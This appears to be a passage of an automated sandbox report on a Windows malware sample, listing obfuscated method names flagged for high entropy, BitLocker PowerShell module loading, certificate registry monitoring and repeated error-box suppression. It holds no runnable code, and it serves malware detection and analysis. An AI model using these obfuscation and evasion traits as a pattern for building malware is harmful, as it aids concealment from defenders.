Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.2638bc0.2.raw.unpack, kD0JNdgNBriBGn5egS.cs	High entropy of concatenated method names: 'ubU6vJppswKkZ', 'uvAmfDYbimWPg9rmyH6', 'XHYItoYHo1DoUvgeuNZ', 'tYVkNWYXlYIi7gDFfLn', 'TV4H82YzoL7kT86loIA', 'yoiEG7M3KqRFDlQAaqW', 'rU4RpWYS77WPQpUZwKR', 'vGvSIFYGEhSitdykOPg', 'TCSl6vMYjB5c5h75h4u'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.2638bc0.2.raw.unpack, QBy45BY4uMbUQs88Qq.cs	High entropy of concatenated method names: 'QByY45B4u', 'EbUNQs88Q', 'D8PguGCCm', 'gfwtorebq', 'rQ9oD0JNd', 'cBrXiBGn5', 'sgS08fT72', 'lmAQKmrG6', 'qn1mTNvNO', 'K084ZL4CG'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, D0OGH51qG7TrJUYkAK.cs	High entropy of concatenated method names: 'JR1JRG4y8a', 'vkKJELq1PC', 'l5sJs5sanZ', 'vc3JU9mP0w', 'udAJwk20H2', 'NVOJAsXNxk', 'vZrJGXjZpa', 'hOYJ1ONTlx', 'vkBJeFlcO3', 'UfHJqc9CV3'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, YqOlYl2eFwtfPkt21E.cs	High entropy of concatenated method names: 'zeuskKjA1L', 't6dsi7fBC6', 'HtBsISLSjw', 'IjpsWUhMnN', 'GbBsNlvb8J', 'MudsDxrVUJ', 'jrMsSOuYyZ', 'lxPsfYHPr4', 'FOasMfJJ1Z', 'PsVsOWW9qL'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, MhaIhDzaPUNsFfpULt.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'BeHV4wgTlM', 'oqSV0vtKm2', 'FRCVj69MJH', 'I5bVHhfCuL', 'bGsVKaNcsB', 'yQ2VVSVK2Y', 'G6UVX46uPx'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, RqmCPZsVMMv5nbrMN6.cs	High entropy of concatenated method names: 'Dispose', 'TqEvMbYPBl', 'E1Dbl6QgMl', 'aLH9986UWT', 'fvIvOGDt4q', 'zpMvzXZpZX', 'ProcessDialogKey', 'fpCbuonY1J', 'u2Dbv8ygbK', 'QcGbbwGrKv'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, iNFWmT65K4oBOHdv97.cs	High entropy of concatenated method names: 'Wl4AR8MHHE', 'titAsqu8Kd', 'abTAwE5JMD', 'uogAGwP4vc', 'ujcA1qT3i8', 'eblwNEOGXG', 'm4uwDHFCio', 'QcSwS2rJtO', 'KaowfZguGr', 'ajXwMnqCsI'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, mdHoHt9MfgQhGOrMY7.cs	High entropy of concatenated method names: 'WFOvGqOlYl', 'lFwv1tfPkt', 'p3avqmmghX', 'wN9voE8Vt6', 'ndiv0ZgANF', 'TmTvj5K4oB', 'h2CgQ5y5XUUsiTJhmL', 'CZR8tK8FjhjBByWFCT', 'tSlvvtTwth', 'YalvJN7MuA'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, gkMdOYbUoH9rcjFeuZ.cs	High entropy of concatenated method names: 'd9wLtM8M4', 'Q0ug5PUUG', 'qIldgNNAC', 'bOQYR4RJA', 'jdec7qMwi', 'fwsQtawSe', 'q10rCeFp93vb3FnsYl', 'nAVdAUHX1OuFXTaYJ5', 'SReucDfU4e0o5OcQkW', 'hNbKyY2mW'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, PonY1JM82D8ygbKCcG.cs	High entropy of concatenated method names: 'n2LK6NIN2w', 'DPiKl4fHrB', 'K1sK72UjWb', 'Om9K5FsIXk', 'hkJKkFF2wb', 'YxtKpoI6uL', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, OOJ1Sjc3ammghXBN9E.cs	High entropy of concatenated method names: 'jy7UgP62MX', 'f3uUdagdZm', 'X4AU26DqcP', 'aysUcGwFIG', 'wbPU0hveJe', 'vEMUjDqhgi', 'ib2UH07rxZ', 'gHiUKaMWDi', 'GemUVCvHPy', 'X2wUXKmYVB'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, ChekuZ3HCIwSmN8ZNP.cs	High entropy of concatenated method names: 'agrGEhicPZ', 'FydGUJrVl5', 'cK2GA3q7rS', 'DAqAOVF3Jn', 'VtcAzxQMXs', 'cCAGunM6aN', 'AtFGvEHcbJ', 'EkQGb7xa9e', 'ncEGJrZ37u', 'eyuG9aSySR'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, LDBvEBvJJ3O33kFquaV.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Xi4XkqBNKI', 'Y2bXiB2U7k', 'FOxXIZQaM5', 'KamXW2Gu9D', 'IHvXN21gAX', 'KGtXDVUCTG', 'LdkXS8cZvG'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, ySkLlbvukfHRnCTtESI.cs	High entropy of concatenated method names: 'gLXVP5FDHj', 'aSkVZK37or', 'HG7VLuGtTa', 'soAVgBft2a', 'PtRVTjr7Id', 'rHaVdWW1jN', 'QjgVYcgLJ3', 'OmiV2hkTWw', 'Y55Vc8phEb', 'B2CVQTE6FE'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, aIGDt4fqLpMXZpZXEp.cs	High entropy of concatenated method names: 'SUAKEhmXdr', 'eHCKsVIEDR', 'SuuKUxDlwg', 'yRMKwgOGM8', 'xdlKA6pPcH', 'T94KG2yKTT', 'GjLK1KBe6N', 'ABlKejwfBe', 'bvaKqUYxLT', 'tDuKo8ou3Q'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, vVt6wEQ8mT4XM4diZg.cs	High entropy of concatenated method names: 'ClCwTDJJKM', 'EK9wYjjCoO', 'BT4U7LwcW0', 'MslU5ruEou', 'yViUp9dunO', 'iYDUhZUOZY', 'iqJU3vMfWW', 'forUFp8S7h', 'M3aUxR2uBi', 'LOsUrW5uAb'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, amwXR0CPXsVauy8NYU.cs	High entropy of concatenated method names: 'xej427V6Wx', 'vK54cfaJKy', 'Wrr46KdAK3', 'csA4l8JLTw', 'IxM45M4UWh', 'Hlf4pCYPVn', 'Jhk43K60U4', 'n7W4FJ2g0g', 'hRT4rn5FeS', 'jtN4txLWE7'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, oU7Yibkb84IpiWUtkd.cs	High entropy of concatenated method names: 'yub0rrljC9', 'XBj0mDHsd1', 'GtJ0kVWXBl', 'HVS0iZIqiF', 'Vsx0l1ixll', 'oHL07QU8Gl', 'epX05solxG', 'Rfq0pccQkJ', 'U3U0hDrX0A', 'nMG03rtVaT'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, iGrKvbOUPHtmRDgSTJ.cs	High entropy of concatenated method names: 'agEVvngImu', 'PIfVJA4aDy', 'XpcV9xXeCa', 'cYlVEpUVI1', 'HMdVsuspcd', 'MjAVwYTieb', 'rkEVAAFx1C', 'hG6KS3vCZW', 'BXBKfy9c9e', 'VnWKMcoctd'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, BXplLTWfheod5WBiyg.cs	High entropy of concatenated method names: 'C20Hq9Hcea', 'in6HoWY1Ve', 'ToString', 'mwoHEmyxQy', 'vtrHsBKQwQ', 'Sv3HUS5hyB', 'LiSHwocv62', 'zPTHAJxt9l', 'ayrHG3hdk7', 'kkXH17fwkk'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, Nffji0ITJKe56hgjhg.cs	High entropy of concatenated method names: 'ToString', 'eqfjtSCq4s', 'Hvwjl0v4Jh', 'ywsj7bq0Ac', 'qDvj5MlPCt', 'zv3jpXEof8', 'BJujhFb0bW', 'zC9j3jelJL', 'pu5jFnG9P6', 'FP1jxBAWBQ'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.36f6b70.4.raw.unpack, VTGJwXxvM7Ziv4PKG3.cs	High entropy of concatenated method names: 'bwLGPhyH4f', 'r0iGZb4V7x', 'RsoGLpDUXp', 'npTGgZC5vf', 'FXSGTg6wYe', 'u4AGdcJwvV', 'BaMGYDHCYX', 'fSfG2jlcJV', 'N5YGcprfQn', 'Cs5GQYEQ3k'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, D0OGH51qG7TrJUYkAK.cs	High entropy of concatenated method names: 'JR1JRG4y8a', 'vkKJELq1PC', 'l5sJs5sanZ', 'vc3JU9mP0w', 'udAJwk20H2', 'NVOJAsXNxk', 'vZrJGXjZpa', 'hOYJ1ONTlx', 'vkBJeFlcO3', 'UfHJqc9CV3'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, YqOlYl2eFwtfPkt21E.cs	High entropy of concatenated method names: 'zeuskKjA1L', 't6dsi7fBC6', 'HtBsISLSjw', 'IjpsWUhMnN', 'GbBsNlvb8J', 'MudsDxrVUJ', 'jrMsSOuYyZ', 'lxPsfYHPr4', 'FOasMfJJ1Z', 'PsVsOWW9qL'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, MhaIhDzaPUNsFfpULt.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'BeHV4wgTlM', 'oqSV0vtKm2', 'FRCVj69MJH', 'I5bVHhfCuL', 'bGsVKaNcsB', 'yQ2VVSVK2Y', 'G6UVX46uPx'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, RqmCPZsVMMv5nbrMN6.cs	High entropy of concatenated method names: 'Dispose', 'TqEvMbYPBl', 'E1Dbl6QgMl', 'aLH9986UWT', 'fvIvOGDt4q', 'zpMvzXZpZX', 'ProcessDialogKey', 'fpCbuonY1J', 'u2Dbv8ygbK', 'QcGbbwGrKv'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, iNFWmT65K4oBOHdv97.cs	High entropy of concatenated method names: 'Wl4AR8MHHE', 'titAsqu8Kd', 'abTAwE5JMD', 'uogAGwP4vc', 'ujcA1qT3i8', 'eblwNEOGXG', 'm4uwDHFCio', 'QcSwS2rJtO', 'KaowfZguGr', 'ajXwMnqCsI'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, mdHoHt9MfgQhGOrMY7.cs	High entropy of concatenated method names: 'WFOvGqOlYl', 'lFwv1tfPkt', 'p3avqmmghX', 'wN9voE8Vt6', 'ndiv0ZgANF', 'TmTvj5K4oB', 'h2CgQ5y5XUUsiTJhmL', 'CZR8tK8FjhjBByWFCT', 'tSlvvtTwth', 'YalvJN7MuA'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, gkMdOYbUoH9rcjFeuZ.cs	High entropy of concatenated method names: 'd9wLtM8M4', 'Q0ug5PUUG', 'qIldgNNAC', 'bOQYR4RJA', 'jdec7qMwi', 'fwsQtawSe', 'q10rCeFp93vb3FnsYl', 'nAVdAUHX1OuFXTaYJ5', 'SReucDfU4e0o5OcQkW', 'hNbKyY2mW'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, PonY1JM82D8ygbKCcG.cs	High entropy of concatenated method names: 'n2LK6NIN2w', 'DPiKl4fHrB', 'K1sK72UjWb', 'Om9K5FsIXk', 'hkJKkFF2wb', 'YxtKpoI6uL', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, OOJ1Sjc3ammghXBN9E.cs	High entropy of concatenated method names: 'jy7UgP62MX', 'f3uUdagdZm', 'X4AU26DqcP', 'aysUcGwFIG', 'wbPU0hveJe', 'vEMUjDqhgi', 'ib2UH07rxZ', 'gHiUKaMWDi', 'GemUVCvHPy', 'X2wUXKmYVB'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, ChekuZ3HCIwSmN8ZNP.cs	High entropy of concatenated method names: 'agrGEhicPZ', 'FydGUJrVl5', 'cK2GA3q7rS', 'DAqAOVF3Jn', 'VtcAzxQMXs', 'cCAGunM6aN', 'AtFGvEHcbJ', 'EkQGb7xa9e', 'ncEGJrZ37u', 'eyuG9aSySR'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, LDBvEBvJJ3O33kFquaV.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Xi4XkqBNKI', 'Y2bXiB2U7k', 'FOxXIZQaM5', 'KamXW2Gu9D', 'IHvXN21gAX', 'KGtXDVUCTG', 'LdkXS8cZvG'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, ySkLlbvukfHRnCTtESI.cs	High entropy of concatenated method names: 'gLXVP5FDHj', 'aSkVZK37or', 'HG7VLuGtTa', 'soAVgBft2a', 'PtRVTjr7Id', 'rHaVdWW1jN', 'QjgVYcgLJ3', 'OmiV2hkTWw', 'Y55Vc8phEb', 'B2CVQTE6FE'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, aIGDt4fqLpMXZpZXEp.cs	High entropy of concatenated method names: 'SUAKEhmXdr', 'eHCKsVIEDR', 'SuuKUxDlwg', 'yRMKwgOGM8', 'xdlKA6pPcH', 'T94KG2yKTT', 'GjLK1KBe6N', 'ABlKejwfBe', 'bvaKqUYxLT', 'tDuKo8ou3Q'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, vVt6wEQ8mT4XM4diZg.cs	High entropy of concatenated method names: 'ClCwTDJJKM', 'EK9wYjjCoO', 'BT4U7LwcW0', 'MslU5ruEou', 'yViUp9dunO', 'iYDUhZUOZY', 'iqJU3vMfWW', 'forUFp8S7h', 'M3aUxR2uBi', 'LOsUrW5uAb'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, amwXR0CPXsVauy8NYU.cs	High entropy of concatenated method names: 'xej427V6Wx', 'vK54cfaJKy', 'Wrr46KdAK3', 'csA4l8JLTw', 'IxM45M4UWh', 'Hlf4pCYPVn', 'Jhk43K60U4', 'n7W4FJ2g0g', 'hRT4rn5FeS', 'jtN4txLWE7'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, oU7Yibkb84IpiWUtkd.cs	High entropy of concatenated method names: 'yub0rrljC9', 'XBj0mDHsd1', 'GtJ0kVWXBl', 'HVS0iZIqiF', 'Vsx0l1ixll', 'oHL07QU8Gl', 'epX05solxG', 'Rfq0pccQkJ', 'U3U0hDrX0A', 'nMG03rtVaT'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, iGrKvbOUPHtmRDgSTJ.cs	High entropy of concatenated method names: 'agEVvngImu', 'PIfVJA4aDy', 'XpcV9xXeCa', 'cYlVEpUVI1', 'HMdVsuspcd', 'MjAVwYTieb', 'rkEVAAFx1C', 'hG6KS3vCZW', 'BXBKfy9c9e', 'VnWKMcoctd'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, BXplLTWfheod5WBiyg.cs	High entropy of concatenated method names: 'C20Hq9Hcea', 'in6HoWY1Ve', 'ToString', 'mwoHEmyxQy', 'vtrHsBKQwQ', 'Sv3HUS5hyB', 'LiSHwocv62', 'zPTHAJxt9l', 'ayrHG3hdk7', 'kkXH17fwkk'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, Nffji0ITJKe56hgjhg.cs	High entropy of concatenated method names: 'ToString', 'eqfjtSCq4s', 'Hvwjl0v4Jh', 'ywsj7bq0Ac', 'qDvj5MlPCt', 'zv3jpXEof8', 'BJujhFb0bW', 'zC9j3jelJL', 'pu5jFnG9P6', 'FP1jxBAWBQ'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.3742590.5.raw.unpack, VTGJwXxvM7Ziv4PKG3.cs	High entropy of concatenated method names: 'bwLGPhyH4f', 'r0iGZb4V7x', 'RsoGLpDUXp', 'npTGgZC5vf', 'FXSGTg6wYe', 'u4AGdcJwvV', 'BaMGYDHCYX', 'fSfG2jlcJV', 'N5YGcprfQn', 'Cs5GQYEQ3k'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6870000.6.raw.unpack, kD0JNdgNBriBGn5egS.cs	High entropy of concatenated method names: 'ubU6vJppswKkZ', 'uvAmfDYbimWPg9rmyH6', 'XHYItoYHo1DoUvgeuNZ', 'tYVkNWYXlYIi7gDFfLn', 'TV4H82YzoL7kT86loIA', 'yoiEG7M3KqRFDlQAaqW', 'rU4RpWYS77WPQpUZwKR', 'vGvSIFYGEhSitdykOPg', 'TCSl6vMYjB5c5h75h4u'
Source: 0.2.SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe.6870000.6.raw.unpack, QBy45BY4uMbUQs88Qq.cs	High entropy of concatenated method names: 'QByY45B4u', 'EbUNQs88Q', 'D8PguGCCm', 'gfwtorebq', 'rQ9oD0JNd', 'cBrXiBGn5', 'sgS08fT72', 'lmAQKmrG6', 'qn1mTNvNO', 'K084ZL4CG'

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.5111.21143.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
